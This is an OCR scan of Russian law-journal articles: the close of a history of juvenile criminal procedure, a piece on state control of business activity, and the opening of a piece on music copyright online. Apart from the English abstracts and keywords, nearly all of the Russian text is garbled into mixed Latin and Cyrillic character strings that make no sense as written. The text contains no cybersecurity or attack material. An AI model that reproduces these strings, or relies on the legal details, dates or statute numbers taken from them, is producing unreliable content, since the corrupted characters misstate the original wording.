0JIarOTBOPUTEILHOCTBIO, OXPAaHOW W 3alUTOM JETeH OT JKECTOKOTO OOpaIIeHHs CO CTOPOHBI
B3pOCIIBIX, a TAKXKE C CO3/ITaHUEM OJAroNPHITHRIX YCIOBUI JIsl UX BOCTIUTaHUS U 00y4eHus. Bee
3TO HE MOIJIO He 0OpaTUTh Ha ce0s BHUMaHHE 3aKOHOJATeNs U MOOYIUTh €ro K CO3AaHUI0
CUCTEMbI FOBEHAJIbHOM IOCTUIIMU B OTEUECTBEHHOM YTOJIOBHO-IIPOLIECCYAILHOM IIPaBe.

B 1897 roxy Obut npunsaT 3akoH «O0 m3MeHeHHH (HOPM U OOPSIOB CYIOIMPOU3BOICTBA
[0 JejJaM O TMPECTYNHBIX JCSHUSAX MAaJOJICTHUX U HECOBEPIICHHOJETHUX, a TaKkKe
3aKOHOMNOJIOKEHHUS 00 MX HAKa3yeMOCTH», KOTOPBIN pa3opBajl CBSA3b C (hOPMAIbHBIM MOJIX010M
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K TIOJPOCTKOBOM TIPECTYNHOCTH, AKLEHTHPYsS IPU OSTOM BHUMAaHHWE HA UCIPABICHUU U
BOCIMTAHUU HECOBEPILIEHHOJIECTHHX.

3aKkoH BBeJ 0CcOObIE YCIOBHS IJIsi MPOU3BOJCTBA MO YrOJOBHBIM JiellaM B OTHOLICHHUHU
HECOBEPIICHHOJIETHUX JIMII: OTAEIbHOE MPOM3BOJACTBO MO JejiaM HECOBEPILIEHHOJIETHHX,
00s13aTeNIbHOE YUacTHe 3alllUTHUKA, OTPaHUYEHUE [NIACHOCTH, BO3MOXXHOCTb PACCMOTPEHUS JIeNa
B OTCYTCTBHE HECOBEPILEHHOJETHEr0 MNOJACYAuMOro u T.a1. CTOUT OTMETUTh, YTO JAHHBIE
TMIOJIOKEHUS SIBIISIIOTCSL POJOHAYAIbHUKAMU COBPEMEHHOI'O YrOJOBHOIO CYIOIPOHM3BOJCTBA B
OTHOIIIEHUY HECOBEPILICHHOJIETHUX.

VYronoBuele cankiuu nuddepernupoBaiick mo Bo3pacty (10-14, 14-17, 17-21 rona).
Ocoboe BHUMaHHE YAETSUIOCH OMPEIeNICHHIO BMEHSIEMOCTH HecoBepineHHOeTHHX (10-17 ner),
YTO 3aJI0KUJIO OCHOBY JJISi MHCTUTYTa OCBOOOXIEHHS OT OTBETCTBEHHOCTH B CBS3U C
OTCTaBaHHEM B Pa3BUTHH.

B 1910 rony B ropoae Caunkr-IletepOypr Hauan 1eHCTBOBATH MEPBBIN B OTE€UECTBEHHON
HCTOPUM CyIl TIO JeJlaM HECOBEPIICHHOJETHUX, OOPAa30BAHHBIN 110 HMHUIIMATHBE OOIECTBA
Cankrt-IletepOyprckoro marpoHaTa M CHEIMAIbHO CO3JAHHOM ISl 1[eJeld  CO3JaHus
CHEIMATM3UPOBAHHOTO CYy/Ia JIUIsl HECOBEPIICHHOIETHUX KOMUCCHH. BriocneacTBum cyibl ObLUTH
CO3MIaHbl U B JIPYTUX Topojax, MOJYYHB TaKHe HA3BaHUS, KaK: «CYA MaJOJETHUX», «CY
HECOBEPUICHHOJIETHUX»,  «IETCKUM  CyI»,  <«IIOJPOCTKOBBIA  CyI»,  «OCOOBIM  cym»,
«dpepeHIUPOBAHHBIHN CYI» U T.]I.

B paccmarpuBaempblii TIepHOA  YrOJOBHOE TIPECIICIOBaHWE OBLIO HAIpPABJICHO Ha
W3BJICYCHUE HECOBEPILECHHOJIETHETO TMPABOHAPYIIUTENS W3 HEOIaronpusTHON, MPECTYMHON
cpensl M MPUMEHEHHE K HEMY TJaBHBIM 00pa3oM HE Haka3aHHs, a TMOIMEYUTEIBHBIX Mep
BOCHHTATENBHOIO Bo3aencTBus [ 1, ¢.219].

Crnenyronmii  3Tanm  pa3BUTHS ~ YTOJOBHOTO  CYJIOMPOM3BOJCTBA B  OTHOIICHUH
HECOBEPIICHHOJIETHUX Havalcs B siHBape 1918 r. PazBuTue 3akoHOATENBCTBA OCYIIECTBISIOCH
B YCJIOBHUSIX PEBOJIIONMK M €€ TMOCIEACTBHI: YBEIUYMIOCHh KOJMYECTBO OECIPU3OPHBIX JCTEH,
JeTCKasi ~ MPECTYMHOCTh  pocjia  HEeBEpOSATHbIMM  TemmaMu. Ha  cMeHy — «cynoB
HECOBEPIICHHOJIETHUX)» TPUXOIIT KOMUCCHH TI0 JIeJlaM HECOBEPIIICHHOJICTHUX, JESITEIHHOCTh
KOTOpBIX peryiaupoBanach JlekpetoM «O KOMHUCCHSIX MO JejiaM HECOBEPUICHHOJIETHUX).
JlaHHOTO pO/a KOMHCCHHM IO JieJIaM HECOBEPIICHHOJIETHUX MPOCYIIECTBOBAIM BILIOTH 10 1935
roga. B mepuox ux nesATenbHOCTH MOSBUIACH HOBask CUCTEMa MPHUMEHSIEMBIX B OTHOIICHUU
HECOBEPIICHHOJIETHUX MIPECTYITHUKOB MEP - MEPBI MEAMKO-TIETArOTHYECKOT0 XapaKTepa.

Takass Mepa Haka3aHHs, KaKk TIOPEMHOE 3aKJIIOUYEHHE, K HECOBEPIIECHHOJIETHUM Ha
MpaKkTUKE HE MPUMEHsIIach. B 1enom cieayer OTMETHTh, YTO B JIaHHBINM MEPUOJT TOCYAapCTBO
YIENSIO 3HAYUTEIbHOC BHUMAHHME CO3/IaHUIO DPA3IMUYHBIX OOIIECTBEHHBIX OpraHW3aluil U
KOMUCCHM, JIEATEIbHOCTh KOTOPBIX OblIa HampaBieHa Ha OOprOy ¢ Oecnpu30pHOCTHIO,
OpOSKHUYECTBOM M 3aIIUTY JACTEH.

B nepuoxn ¢ 1935 r. no 1958 r. mpaBoBOil CTaTyC HECOBEPUICHHOJETHETO MOABEPrCs
CYIIIECTBCHHBIM HW3MEHEHUSIM, TOJOXKEHUE HECOBEPIICHHONICTHUX ObUTo yxyamieHo. Craryc
HECOBEPIICHHOJIETHETO OOJIbIIIE HE PACCMATPUBAJICS B KAUECTBE CMATYAIOLIETO OOCTOSATENBCTBRA,
OBUTM OTMEHEHBI BCE BO3MOXKHBIE MEPBI MEIUKO-TIEATOTMUYECKOT0 XapaKTepa ¢ BEPOSTHOCTHIO
MPUMEHEHUS K HECOBEPIICHHOJNETHUM TMPECTYyITHUKAM BCEX BHJAOB Mep HakKa3aHWs,
MPETyCMOTPEHHBIX JIEHCTBOBABIIKMM Ha TOT MOMEHT YTOJIOBHBIM 3aKOHOIATEIIECTBOM.

[Tpou3BOACTBO B OTHOIIEHUH HECOBEPIICHHOIETHUX OBLII0 MAKCUMAJIBHO MPHOIMKEHO K
MIPOU3BOCTBY B OTHOIIICHWH B3POCIBIX JIUII, YTO, B COOTBETCTBUU C HOPMAMU MEXKITYHAPOIHOTO
3aKOHO/ATENIbCTBA, YXKE TOrjaa SBISUIOCH KpaiiHe HempuemyieMbiM. B kadecTBe Mepbl
BOCIIMTATEIFHOTO W YCTPAIAIONIETO XapakTrepa ObUIO PEKOMEHIIOBAHO CylaM IPOBEIACHUE
CepuM TMOKa3aTeJbHbIX CYAEOHBIX TMPOIECCOB B  OTHOIIEHHWH HECOBEPIICHHOIECTHUX
MIPECTYIHUKOB [3, ¢.269].

B VYronosno-npoueccyansnoM kogaekce PCOCP 1960 r. nosBunack otaenpHas riasa,
KOTOpasi 3akpenuia o0cob0oe MECTO MPOU3BOJACTBA IO YTOJOBHBIM JieJlaM B OTHOIICHUH
HECOBEPIICHHONETHUX Kak crenududeckoil GpopMbl cymonpousBozactsa. Ilocne mimtensHOro
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NepuoJia KapaTeJbHOM YroJOBHOW MOJMTHUKU HECOBEPILICHHOJETHUM OBLUIM MpPEAOCTaBICHBI
JIOTIOJIHUTEJIbHBIE TAPAaHTUX M0 peaIM3alMU UX MPaB U 3alIUTe 3aKOHHBIX UHTEpecoB. B 1ienom
YTOJIOBHO-TIPOIIECCYATbHBIE HOPMBI OBUTM HAIpaBlIEHbl HAa CHIDKEHHE OTPHIATEIHHOTO
BO3/ICMCTBUSA HAa IICHUXOJOTHMUYECKOE IOJIOKEHHE HECOBEPILIEHHOJIETHETO NPECTYIHUKA U B
OO0JIbIIIEH CTENIEHU, HOCUITU BOCITUTATEIBLHYIO (DYHKIIHIO.

Takum oOpa3oMm, B YrojoBHo-mporeccyansHoM kojekce PCOCP BnepBbie Tak sIBHO
MPOSIBUIIACH T'yMaHHUCTUYECKas HaIPaBJICHHOCTh nuddepeHIMPOBaHHON dhopMBbI
CYJOTIPOU3BO/ICTBA 10 YTOJIOBHBIM JIEJIaM B OTHOILIEHUM HECOBEPIICHHOIETHUX JIMII.

CrouT OTMETUTh, 4TO J0 KOHIA XX BEKa YrOJIOBHOE CYIONPOU3BOJICTBO C y4acTHEM
HECOBEPIICHHOJIETHETO M PETYIHUPYIOIIEE €T0 3aKOHOJATEIBCTBO PAa3BUBATIOCH CAMOCTOSITEIBHO.
Bausinue HOpM MEXAYHApOAHOTO 3aKOHOJAATENILCTBA B OTHOIIEHWH HECOBEPILEHHOIETHUX
HAyaJIo MPOSIBIATHCA B POCCUHCKOM 3aKOHOJATENbCTBE TOsbKO B 90-x rr. XX Beka. B artor
MEPUO TPOUCXOMUT cyneOHas (mpaBoBasi) pedopma, B XOie KOTOPOH OBLTH YTBEPXKICHBI
oO0IIenprU3HAHHBIE HOPMBI U TIPUHIIUAIIBEI MEXKTYHAPOIHOTO TPaBa B KAYECTBE COCTABHOW YaCTH
paBoBO# cucteMbl Poccuiickoit denepanny, B COOTBETCTBUM ¢ KOTOPHIMHU OBLTH pa3pabOTaHbI
Y TIPUHATHI YTONOBHBIN Kojiekce Poccuiickoit deneparuu 1996 r. u YronoBHO-TIpolIeCCyanbHBINA
kozaekc Poccutickoit ®eneparnu 2001 r. HopMbl JaHHBIX HOPMATHBHO-TIPABOBBIX aKTOB OBLTH
HamnpaBJieHbl HA CHIDKEHUE KapaTelbHOro IMOTEHIMANa YTOJIOBHOTO CYAOIMPOM3BOACTBA 10
YTOJIOBHBIM JIeJlaM B OTHOIIEHHWU HECOBEPIIIEHHOIETHUX, O YEM CBUIETENBCTBYET TOT (PaKT, UTO
Ha TIEPBOE MECTO IMOCTABJIEHO MPUMEHEHUE CyJaMH MPUHYIUTEIBHBIX MEP BOCHHUTATEIBHOTO
XapakTepa, U TOJIBKO YXe MOTOM — Haka3aHus [2, ¢.17].

Takum 00pa3oM, MOKHO OTMETHTb, YTO OOJIbIIAsl YaCTh UCTOPUU PA3BUTHS YTOJIOBHOTO
CYAONPOM3BOJCTBA C y4acTHEM HECOBEPIIEHHOJETHETO HOCHJIA KapaTeNbHBbIA XapakTep, He
YUUTBIBAsT OCOOCHHOCTEH ICUXHYECKOTO M (DPU3MYECKOTO COCTOSIHHS HECOBEPIICHHOJETHETO.
Ocoboe BnHsSIHHE Ha OTEUECTBEHHOE 3aKOHOMATEIBCTBO OKAa3aJld MEXAYHAPOAHBIE HOPMBIL.
Poccus, sIBIsiACh y4aCTHUKOM MEXTYHAPOIHBIX MPABOOTHOIIICHUH, HE MOTJIa U3/aBaTh 3aKOHBI,
MPOTUBOpEYAIe MEXKIYHApOJHBIM CTaHAApTaM M MpaBUIaM, OCOOCHHO B OTHOIICHUU
HECOBEPIICHHOJIETHETO JIUIIA.
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AHHOTANIUA

CraTpsi MOCBSIIEHA PACCMOTPEHHIO IMPABOBBIX OCHOB TOCYAAPCTBEHHOIO KOHTPOJS U
Haa30pa B chepe MpeAnpuHUMATEIBCKON JAESITEIbHOCTH, BBISIBICHHIO PO KOHTPOIHPYIOIIHUX
opraHoB. B craTrhe MpeACTaBICH aHAM3 HOPMATHUBHBIX NPABOBBIX aKTOB ()eICpPaTHbHOTO U
PETHOHAJILHOTO ~ YPOBHEH, COCTaBJSIIONIMX  MPAaBOBOM  0a3uc Ui OCYIIECTBIICHUS
rOCYapCTBEHHOIO KOHTPOJIA M Haa3opa B Poccuu, oxapakTepu3oBaHO €ro MpeJHa3HAYCHUE U
POJIb KOHTPOJIMPYIOIIMX OPTaHOB B TAKOM JI€ATEIBHOCTH.
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Abstract

The article is devoted to the consideration of the legal foundations of state control and
supervision in the field of entrepreneurial activity, identifying the role of regulatory authorities.
The article presents an analysis of regulatory legal acts at the federal and regional levels that
form the legal basis for state control and supervision in Russia, and describes its purpose and the
role of regulatory authorities in such activities.

Keywords: state control (supervision), entrepreneurial activity, business entities,
business law, regulatory authorities.

B coBpeMeHHBIX yCIOBUSIX Pa3BUTHSI FOCYJapcTBa CYOBEKThl IpPEANPUHUMATEIbCKON
JeSITeIbHOCTH  00pa3yIOT BaXKHBIM KJIacTep SKOHOMHUKH, OOECIIEYMBAOLINI MPOrPECCHUBHYIO
TMHAMUKY pbiHKa B Poccuiickoit @eneparu. CoOoa NpeArpuHUMATEIbCTBA U BO3MOKHOCTD
peaTn30BbIBATE CBOM CIIOCOOHOCTHM M HCIOJIB30BaTh HMYILECTBO B IPEANPUHUMATENBCKOM
JeSITEIIbHOCTU COCTaBIISIIOT HE00XO0IMMbIE BO3MOXHOCTH OCYILECTBIICHUS
IPEANPUHUMATENBCKON  I€ATENIPHOCTH, KOPPECIOHAUPYIOUIME TAKUM KOHCTUTYLHMOHHBIM
XapaKTepUCTUKAM POCCHICKOTO TOCyJapcTBa KakK CBOOOAAa 3KOHOMHYECKOrO MPOCTPAHCTBA,
rapaHTUAM pa3IUyHbIX GopM coOcTBeHHOCTH (CT. 8, 34 Koncturyuuu Poccun).

OpnHako HanMyue YKa3aHHBIX HOPMOIIOJIIOKEHUM He TMpeArnosiaraeT aOCOIIOTHYIO
CBOOOAY  MpeANpUHUMATENCKOW  nesTenbHOCTH B Poccmiickoit  ®enmepanmu.  Tak,
HEOOXOAMMOCTh o0ecrieueHusi ©OanaHca MMyOJWYHBIX W YaCTHBIX HWHTEPECOB, a TaKKe
COOJIIO/IEHHE POCCHHCKOIO 3aKOHOJATENLCTBA MPH OCYILECTBIEHUH MpeIpUHUMATEIbCKON
JESTEILHOCTH KOPPEKTUPYETCS TOCYIAapCTBEHHBIM KOHTposiieM (Ham3opoM) B Poccuiickoit
denepauuu.

Hanpumep, JILA. Loif, aHamm3upyrommii mpoOieMbl TOCYIapCTBEHHON KOHTPOJIBHO-
HaJ[30pHOM JeATeNIbHOCTH B cpepe MpeArnpruHUMATENbCTBA, BHICKA3bIBAET TOUKY 3PEHMS, UTO
3G GEKTUBHOCTh PACCMATPUBAEMOTO BHJIAa JIEATEIILHOCTH HE MOXET IPOrpeccupoBaTh B
YCIIOBHSAX OTCYTCHUBS NMPOYHOW HOPMATHBHOM IPaBOBOM 0a3bl, oIpeaessronield KOHKPETHbIE
(hopMBI OCYIIIECTBIICHUST Takou aesitenbHoCTH [1, . 123]. JlaHHas Touka 3peHHs CIpaBeIINBa,
Be/b TOJBKO B YCIOBHAX HAJUIEKAIIETO MPABOBOTO PETYIHPOBAHHUS MOTYT OBITh YETKO
OIpe/ieNiCHbl IOPUANYECKUE TPAHUIIBI KOHTPOJs (HaI30pa), 4TO B LIEIOM IO3BOJISIET, C OJHOMN
CTOPOHBI, YIIOPSIIOYUTH TAKyIO0 AEATEIBHOCTD, C JPYroi CTOPOHBI, 00ECIICUHUTH 3alIUTy NpaB U
3aKOHHBIX UHTEPECOB MOJKOHTPOJIbHBIX CYOBEKTOB.

B Poccun pa3BuTHE HOPMATHBHBIX IIPAaBOBBIX OCHOB B CQepe OCYIIECTBICHHUS
rOCYAApCTBEHHOTO (KOHTPOJIs) HaJa30pa 3a MpPEeANPUHUMATENBCKON JEesITENbHOCTRIO MOIYYHIIO
nBa  ypoBHs. IlpaBoBoe — peryimpoBaHME — pacCMAaTpUBaeMOro  BUAA  JETAIbHOCTHU
rOCYJJapCTBEHHBIX OPIaHOB Pa3BUBAETCA IO JBYM YPOBHSM OpPraHM3allM TOCYIapCTBEHHOMN
MyONMYHOM BIIacTH — Ha (peepaIbHOM M PETHOHAIBHOM YPOBHSIX.

[IpaBOBYIO OCHOBY OCYIIECTBJIEHHUs] TOCYJapCTBEHHOTO0 KOHTposs (Haazopa) B Poccuu
cocraBisier Oenepanbhbiii 3akoH 0T 31.07.2020 Ne 248-D3 «O rocynapcTBEHHOM KOHTPOJIE
(Ham3ope) W MyHUIIMIAIBHOM KOoHTposie B Poccuiickoit ®enepanun» [2], KOTOPBIM
OTIPE/ICIISAIOTCS TOHATHE, C(hephl OCYIIECTBICHUS paCCMaTPUBAEMOr0 BUa KOHTPOIIS (Haa30pa),
MpaBuWia ¥ TPUHIMIBL 3HAUEHHE TOCYJAapCTBEHHOTO KOHTPOJs (Hag30pa) COCTOMT B
HEOOXOMMOCTH OOeCTIeYeHHs COOJIONEHUST 00s3aTEeNbHBIX TPeOOBaHMIA TTOIKOHTPOIHHBIMU
CyOBEKTaMH.

OOsi3atenbHbIe  TpeOoBaHUS B cdepe NPEANPUHUMATENBECTBA MOTY — KacaThCs
JULIEH3UPOBAHUS OTIENBHBIX BUAOB JEATENbHOCTH, COOJIOACHUS CHEUUATBHBIX MpPaBHII
OCYILECTBJICHUSI NPEANPUHUMATEILCTBA B KOHKpETHOM cdepe. Jleno B TOM, 4TO Ui CamMOro
CyObeKTa TpEANpPUHUMATENBCTBA OCYLIECTBIsieMas UM JIeATeNbHOCTh HalpaBlieHa Ha
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U3BJI€YEHUE TNPHUOBLUIM, TO €CTh YJOBJIETBOPEHHE CBOMX MAaTE€pUAbHBIX IMOTPeOHOCTEH U
uHTEpecoB. Mexy TeM, 3HaYMTeNbHas 4acTh MPEIIPHHUMATENILCTBA OXBATHIBAET c(epbl MO
MpoJayKe TOBAPOB, BBITIONIHEHUIO PA0OT M OKA3aHUIO YCIYr (U3HYECKAM M FOPHINYECKHM
JMLAM, B CBA3M C YeM, K HEH MOTYT MpeIbsBIATbCS TpeOOBaHMs, Kacarolluecs KauecTBa,
6e3omacHoctd W ap. VHaye roBOps, OCYIIECTBIEHHE MpPEANPUHUMATEIBCTBA HE JIOJDKHO
HapyIIaTh MpaB ¥ 3aKOHHBIX HHTEPECOB JPYTUX JIMII, CO3/1aBaTh KAaKUEe-TMOO YIpO3bl HAPYIICHHS
i HuX. JlaHHbIE OOCTOSITENBCTBA PE3KO AKTYAIU3UPYIOT 3HAUCHHE KOHTPOJIBHO-HAJ30pHON
JIETAIbHOCTH  TOCYZApCTBEHHBIX OPraHOB 3a OCYLIECTBICHHEM MpEeANPUHUMATEIbCKOM
JeSITeIbHOCTBIO.

Bonee Toro, cam 3akoHogarens B 4. 2 ¢T. 1 @enepanbHoro 3akona ot 31.07.2020 Ne 248-
@3 KOHKpPETH3HpOBAJ, YTO Ha3HAYCHHE TOCYJAPCTBEHHOTO KOHTPOJS (HAA30pa) COCTOUT B
JOCTH)KEHMH OOIIECTBEHHO 3HAUMMBIX pE3Yy/IbTaTOB, CBA3aHHBIX C MHHHUMH3ALUEH pHCKa
npuuuHEeHWsT Bpeaa (ymiepOa) OXpaHseMbIM 3aKOHOM IIEHHOCTSIM. TakuMm oOpa3oM, cliemayeT
T0J1araTh, YTO MOJEPHU3HUPYS TOCYIaPCTBEHHBIH KOHTPOJIb B KOMMEHTHPYEMOM HOPMAaTHBHOM
MIPaBOBOM aKTe, 3aKOHOJATe b MpeAroaraeT Heo0X0AUMOCTh (POPMUPOBAHHUS HOBOM MPAKTHUKH
obecrieyeHus1 COOMIOEHHsT CyObEKTaMU MPEANPUHIMATENIBCTBA 00S3aTeNBHBIX TPEeOOBAHUIMA,
MIpeAYNpexKICHUs COBEPILECHHUS UMU HapYIICHU, YTO B LIEJIOM HEe 0003HAa4YaeT BMEIIATeIbCTBA
rOCyZIapCTBa B OCYILECTBICHHE MPEIPHHAMATEIILCKOMN eI TETHOCTH.

B mnponomkeHne paccMOTpeHHsT HOPMATUBHBIX IPABOBBIX OCHOB OCYIIECTBIICHUS
rOCYIapCTBEHHOTO KOHTPOJIS (Ha/130pa) TakKe HEOOXOAMMO YKa3aTh, YTO CETOJIHS, HAIIPUMED, B
benropoackoit 001acTi NMPUHATO PsT HOPMATUBHBIX JOKYMEHTOB PETHMOHAIBHOTO 3HAYEHHS,
COCTaBJISIIOIIMX MTPABOBOM 0a3uC TOCyJapCTBEHHOW KOHTPOJIBHOM (HaI30pHOMN) IESITEIFHOCTH 32
cyObeKTaMM TMpeANpPUHUMATENbCKON AedrensHocTH B benroponckoit obmactu. Hampumep,
[Tocranosnenue IlpaBurensctBa benropoackoii obmactu ot 27 centsiops 2021 1. Ne 430-mm «O06
yTBepkAeHUU [lonokeHns O peruoHajJbHOM TOCYAAPCTBEHHOM JIMIICH3MOHHOM KOHTpOJE 3a
OCYIIECTBIICHUEM TPEANPUHIMATEIHCKON ESITENIFHOCTH TI0 YIPABICHUIO MHOTOKBAPTUPHBIMU
JOMaMH ¥ TPU3HAHWM YTPATUBLIMMU CHIIy HEKOTOPBIX TOCTaHOBIeHHH [IpaButenncTBa
benroponackoii obmactu»[3] persiaMeHTHpPYeTCs Y3KO€ HamlpaBieHHE KOHTPOJIHHO-HAI30pHOU
NeSITeIbHOCTH, KPUTEPHEM Ul BBIJIEIEHHE KOTOPOro sBiseTcss cdepa OCYIIEeCTBICHUS
NpeATPUHAMATEIBCKON JEATETHbHOCTH B 00JIACTH YIPABIICHNS! MHOTOKBAPTHPHBIMHU JIOMaMH, Ha
OCHOBE 4Yero ObLIIH OMpe/ieNieHbl 00bEKT U MPEeAMET KOHTPOJIb-Ha30pHON I TETbHOCTH.

Mexny TeM, paHbIE YKa3aHHBIX HOPMATHUBHBIX TIIPABOBBIX AaKTOB OBLT MPUHST
®enepanpHblii 3ak0H 0T 26.12.2008 Ne 294-03 «O 3ammTe npaB IOPUAWYECKUX JHI U
WHIUBHIYAIGHBIX TPEANPUHUMATEICH MpHU OCYHIECTBICHHH TOCYIAPCTBEHHOTO KOHTPOJIS
(Hag30pa) W MYHHULMNAIBHOTO  KOHTpossi»[4], 3HadeHue KOTOporo uis  cdepbl
MpeANPUHAMATEIBCTBA COCTOUT B TOM, YTO OH KOHKPETH3HPYET MPHHIIMITBI OCYIECTBICHHS
KOHTpPOJIsL (HaJa30pa) B OTHOIIEHMM CYOBEKTOB MNpEANpPHUHUMATENBCTBA. KOMMEHTHpyeMbIM
HOPMATHBHBIM TIPAaBOBBIM aKTOM B OOJIBIIEH CTETIEHH YYUTHIBAIOTCS MHTEPECHI CYOBEKTOB
NpeANPUHUMATENBCKON JIESITENbHOCTH, TOCKOJIBKY OH ONpeNeNsieT Hayajla OCYIECTBICHMS
TOCYIapCTBEHHOTO KOHTpPOJI (HAan30pa) WMEHHO B OTHOIICHWH TIPEANpPUHUMATENEH, dYTO
co3faeT OajaHC y4yera YacTHBIX U MyOJIMYHBIX MHTEpecoB. Hampumep, B cT. 3 mpeaycMOTpeHbl
cUCTEMa MPUHIUIIOB 3allUThl CYOBEKTOB MPEANPUHUMATENBCKON EsITeIbHOCTH, Ba)KHBIMHU
cpenu KOTOPBIX MOMKHO Has3BaTh MPE3YMIIIMIO JIOOPOCOBECTHOCTH — MHAMBUAYAJIBHBIX
IpeAnpuHUMATeNe U OpraHM3alui, YBEIOMUTENbHbIA MOPSIOK OCYILECTBICHHUS IMPOBEPOK U
Ap.

XapakTepu3yro poJjib KOHTPOJIUPYIOUIMX OpraHOB B OCYIUECTBICHUM KOHTPOJIBHO-
HAJ[30pHOM JEATETIBHOCTH, HENb3s CKa3aTh O TOM, YTO pacCMaTpUBACMbI BHUJ JESATEIbHOCTH
SIBIIICTCS JIMIITHUM B POCCHIMCKOM TIPaBOBOM TpocTpaHcTBe. CBOOOAA MPEITPUHUMATETHCKON
JEATENTbHOCTH  TIO/JICKHUT PAa3syMHBIM OTrPaHHUYCHMSAM, HAJIMYME KOTOPBIX OOYCIIOBJIECHO
HEOOXOMMOCTBIO 3alUTHI MPAaB W 3aKOHHBIX MHTEPECOB JPYTUx Juil. Takke roiaraeM, 4ro
TOCYIapCTBEHHBI KOHTPOJb (HAA30p) B NPEANPUHUMATEIBCKOW JIESATEIBHOCTH MOXKHO
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paccMaTpuBaTh YacTHBIM MPOSIBIEHHUEM (YHKIMOHUPOBAHMSA TOCYAAPCTBEHHOM 3alllUThl B
Poccuiickoi ®@enepanun.

Taxum 00pa3oM, MpoaHAIN3UPOBAB HOPMATUBHBIE OCHOBBI I'OCY/IaAPCTBEHHOTO KOHTPOJIS
U HaJ3opa B cepe npeArnpuHUMATeIbCKON IeSTeNbHOCTH, HE00X0AUMO, BO-IIEPBBIX, OTMETUTH
Haymuue ¢GenepaabHOro U PerHoHAbHOIO YPOBHS PEryJIMpOBaHUs JESTEIbHOCTU TOCY/IapCcTBa
M0 OCYILECTBICHHIO KOHTPOJA (Haa30pa) 3a CyObeKTaMM NpeapHHUMATENBCTBA. BO-BTOPBIX,
MPEeAYCMOTpEHa  CHUCTEMa  CHElMANbHbIX MPUHIMIIOB U  IOPUAWYECKUX  TapaHTH,
OIPaHMYMBAIOIINX MPOMU3BOJI TOCYAAPCTBEHHBIX OPraHOB IMPU OCYLIECTBICHUU KOHTPOIS
(Ham3opa) B cdepe  OCYHIECTBICHUS  NPEANPUHUMATEIBCKON  JesTenbHOCTH.  Mnmero
CYIIECTBOBAHUIO KOHTPOJIHUPYIOIIUX OPTaHOB CIIEAYET CUUTATh MOJIOKHUTEIBHOM, YUYUTHIBAs TO
Ha3HAuCHHE, KOTOpOE 3aKOHOJATENIb MPHUIAET TOCYIAapCTBEHHOMY KOHTPOIIO (HAA30py) B
Poccun. Bmecte ¢ TeM, rocyaapcTBEHHBbI KOHTpPOJIb (HAA30p) 3a HpeANpPUHUMATENHCKON
JeSITeNIbHOCTBIO TAaKKe JOJDKEH OCTaBaThCSl B TOJIE 3pPEHUS TOCYIApCTBa, YUYUTHIBAs, YTO
IOPUIMIECKOE MPEBOCXOJICTBO rOCY/IapCTBEHHBIX OpraHoB HaJ CyOBEeKTaMH
MPEANPUHUMATENLCKON JESITEIbHOCTH MOXKET MOPOXKAaTh MpoOJIeMbl HapyIICHHs TpaB U
3aKOHHBIX HHTEPECOB CYOBEKTOB MPEIPHHUMATEIILCTBA.
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AHHOTANA

JlanHas paOoTa MOCBSILIEHA aKTyalbHbIM IIPOOIeMaM 3alUThl MHTEIUICKTYaIbHbIX IIPaB
aBTOPOB MY3BIKAIBHBIX TNPOU3BEACHUN B ceTH VHTEepHET. AHaiM3 COBPEMEHHBIX BBI30BOB
MIOKA3blBAaCT, 4YTO  CYLIECTBYIOIIME  IPABOBBIE  MEXAaHU3Mbl  4YacTO  OKa3bIBAIOTCA
HEed((EKTUBHBIMH TIEpel JIUIIOM MAacIITaOHOTO PACIPOCTPAHEHUSI MHUPATCKOrO KOHTeHTa. B
paboTe paccMaTpHBAIOTCS KIIOYEBBIE CIOKHOCTH, TaKHe KaK TpaHCIPaHWYHBIA Xapakrep
HapyIICHUH, TPYAHOCTH UICHTU(HUKALIMN HAPYIIUTEIEH, HECOBEPIIIEHCTBO 3aKOHOAATEIILCTBA B
OTHOILIEHWM  HOBBIX  TEXHOJOIWH, a  Takke  HeJocTaTouHas  3(PQPEKTUBHOCTb
MPaBONPUMEHUTEIbHON MPAKTUKH.

KnroueBbie cioBa: Cetb «VIHTEpHET», My3bIKaJIbHbIC IPOU3BEACHHS, aBTOPCKUE TIpaBa,
MHTEIUIEKTYyaIbHBIE MTPaBa, 3aKOHOJATEIILCTBO.



-24- JIlendenyuu paseumus HAyKu u obpasosanis

Abstract

In this article, the problems of protecting the intellectual rights of the author to musical
works distributed on the Internet were considered in the form of the lack of effective regulation
of musical works and the inability of the current legislation to fully protect intellectual rights on
the Internet.

Keywords: the Internet, musical works, copyrights, intellectual property rights,
legislation.

B coBpemennom wmmpe, rie HUGPOBbIE TEXHOJOTHMH CTPEMHUTEIBHO DPa3BHBAIOTCS, a
JOCTYNl K MH(pOPMAIMA CTAaHOBHUTCS BCe Oosiee MOCTYIHEH, 3alliTa MHTEUICKTYaJbHbBIX NpaB
aBTOPOB Ha MY3bIKaJIbHbIE TPOU3BEICHHUS PUOOPETAET OCOO0YIO aKTYaTIbHOCTb.

C pacnpoctpaneHuem cetu «MHTepHeT» U MOSBIEHUEM HOBBIX IUIATGOPM ISl OOMEHa U
MPOCIYIIMBAHNASA MY3BbIKM AaBTOpPbI CTAJIKUBAKOTCS C MHOKECTBOM BBI30BOB, CBSI3AHHBIX C
3a0MTOM CcBOMX IIpaB. HeeraapHoe KONMPOBaHHWE, PACIpPOCTPAHEHUE M HCIIOJIb30BAHUE
MY3bIKQIBHBIX MPOU3BEIECHUIN 0€3 coriacusi aBTOPOB CTAHOBSITCS MOBCEIHEBHON MPAaKTUKOM,
YTO CTAaBUT MO Yrpo3y HE TOJIBKO (PMHAHCOBBIE MHTEPECHI CO3areniel, HO U UX TBOPYECKYIO
cBobomy.

HyxHo otMeTuts cT. 1259 I'paxnanckoro koaekca Poccun, riae kak pa3 ¥ OTMEUEHO,
YTO MY3bIKaJIbHbIE MPOU3BEACHUS C TEKCTOM MM 0€3 TeKCTa SIBISIOTCS 0OBEKTaMHU aBTOPCKUX
mpas [1].

HyxHO 00paTWTh BHMMaHHE Ha TO, YTO TEPMUH «MY3BIKAIBHOE MPOM3BEICHHE» HE
MMEET JIETAJIBHOTO 3aKpEIyICHUS] B 3aKOHOJATENILCTBE, HO B HAYYHOM COOOILIECTBE BEIYTCS
MOCTOSIHHO aKTUBHBIE 00CYXIEHUS 110 ’TOMY BOIIPOCY.

Tak H.B. lIBaHOB onpenessieT My3bpIKalIbHOE IIPOU3BEICHUE KaK: «COBOKYITHOCTb UACH U
00pazoB, MOMYYHMBILIUX B PE3YJbTaTe TBOPUECKOTO MPOIECCa OTPAKEHHUSI YETOBEKOM pealibHOMN
